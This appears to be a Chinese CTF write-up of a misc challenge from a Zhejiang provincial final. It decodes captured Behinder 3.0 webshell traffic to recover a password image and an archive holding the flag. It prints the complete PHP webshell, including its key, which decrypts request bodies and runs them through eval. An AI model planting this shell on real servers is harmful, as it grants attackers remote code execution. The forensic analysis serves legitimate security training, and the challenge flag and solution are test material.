首页 > 其他分享 >浙江省赛决赛 misc2 蝎子

浙江省赛决赛 misc2 蝎子

时间:2023-12-08 16:44:08浏览次数:35  
标签:决赛 stream img Image base64 tcp misc2 np 蝎子

Misc 2

tcp.stream eq 0 内得知是冰蝎3.0,key是e46023a69f8db309

<?php
@error_reporting(0);
session_start();
    // $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
    $key="e46023a69f8db309"; //DASCTF
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

冰蝎3.0就是base64+aes cbc,IV补16个0

tcp.stream eq 4 内可以得到password.png和flag.7z,这个包很大,得让他加载一会

image-20231114145410093

看头部得知还有一层base64

image-20231114145523251

获得具体信息,同样都是base64

解完的content是有效信息,flag.7z获得流程同理

image-20231114145547867

这个是光栅图,可以观察到是5层(8神的妙妙脚本)

from PIL import Image
import numpy as np

img = np.array(Image.open('password.png'))
for i in range(5):
    z = np.zeros_like(img)
    z[:, i::5, :] = img[:, i::5, :]
    Image.fromarray(z).show()

image-20231114150016103

image-20231114150031039

image-20231114150045507

image-20231114150109003

image-20231114150122280

解压7z得到flag:DASCTF{d68b6013-d70a-4ada-926d-68fe3265360a}

标签:决赛,stream,img,Image,base64,tcp,misc2,np,蝎子
From: https://www.cnblogs.com/Mar10/p/17888478.html

相关文章

  • 红帽大赛决赛复盘
     1.基础命令(1)greproot/etc/passwd>/opt/grep.txt(2)date-s"2023-12-1215:20:54">/opt/time.txt#这题考试的时候就不会修改时间是date-s"日期(空格)时间【格式为2023-12-1215:20:54】(3)cd/tmpmvtest.txt/optmvtest.txtrhel-test.txtecho"Hell......
  • 香山杯决赛2023.11.19
    香山杯决赛附件如下。https://files.cnblogs.com/files/blogs/798207/xsb2023_final.tar.gz?t=1700382211&download=true2023.11.19广东中山回家了两天,见了高中同学,晚上还去中大玩一下,明天回青岛。孤胆英雄,归途远征。以一敌百,天下无双。ezgame攻击有栈溢出漏洞,直接打游......
  • 23年宁波职教中心CTF竞赛-决赛
    Web拳拳组合进去页面之后查看源码,发现一段注释,写着小明喜欢10的幂次方,那就是10、100、1000、10000返回页面,在点击红色叉叉的时候抓包,修改count的值为10、100、1000、10000然后分别获得以下信息?count=10有点接近了?count=100:readfile.php?count=1000:需要加密传输哦?c......
  • 华秋第九届硬创大赛全国总决赛,邀你一同见证~
    2023年华秋第九届中国硬件创新创客大赛-全国总决赛即将开启! 全国总决赛活动安排(1)活动时间2023年11月19日(09:30-12:35)(2)活动地点深圳福田会展中心-5楼牡丹厅(深圳市福田区福华三路111号深圳会展中心)(3)活动报名微信扫码加入群聊,群内领取入场电子票 或添加小助手微信报名......
  • 春秋云镜 2022网鼎杯半决赛 WP
    春秋云镜2022网鼎杯半决赛fscan扫描39.99.228.107:22open39.99.228.107:80open[*]aliveportslenis:2startvulscan[*]WebTitle:http://39.99.228.107code:200len:39988title:XIAORANG.LAB发现是wordpresswpscan--urlhttp://39.99.228.107/--api-t......
  • 编程猫11岁学员拿到NOC决赛一等奖,妈妈分享教育心得
    来自广州的龙芷盈今年11岁,上五年级。她在编程猫学习编程快三年的时间,已经拿到了蓝桥杯国赛二等奖、NOC决赛一等奖。小盈妈妈说“小盈平常有点难管教、很倔强”,但同时也是个有主见、有规划的孩子,她会自己做好学习规划和时间管理,这也让她在学校和编程猫的学习中都收获了很好的成......
  • "科来杯"第十届山东省大学生网络安全技能大赛决赛复现WP
    ......
  • 人工智能学院学生在“火焰杯”软件测试开发选拔赛总决赛获奖
    2023年3月22日,第三届“火焰杯”软件测试开发选拔赛颁奖典礼在人工智能学院的D2-102机房举行,这一活动吸引了来自软件工程20级的学生以及软件测试社团的全体成员的热烈参与。颁奖典礼的特邀嘉宾是测吧(北京)科技有限公司的项目总监王雪冬,他不仅为获奖同学颁发了奖项,还为学生......
  • html实现NBA总决赛统计表
    案例注意事项:1.注意背景图片不需要用img实现,因为img标签中的title是鼠标悬停在图片上的时候显示的内容。实现效果图:代码:<!DOCTYPEhtml><htmllang="en"><head>  <metacharset="UTF-8">  <metaname="viewport"content="width=device-width,initial-s......
  • 【主席树】P8201 [传智杯 #4 决赛] [yLOI2021] 生活在树上(hard version)题解
    P8201简单题。题中求的是\(dis_{a,t}\oplusdis_{t,b}=k\)是否存在,显然不好直接维护,考虑转化。令\(dist=dis_{a,t}\oplusdis_{t,b}\),\(val=\bigoplus\limits_{x\in\text{path}(a,b)}w_x\)。如果\(t\)在\(\text{path}(a,b)\)上,则\(dist=val\oplus......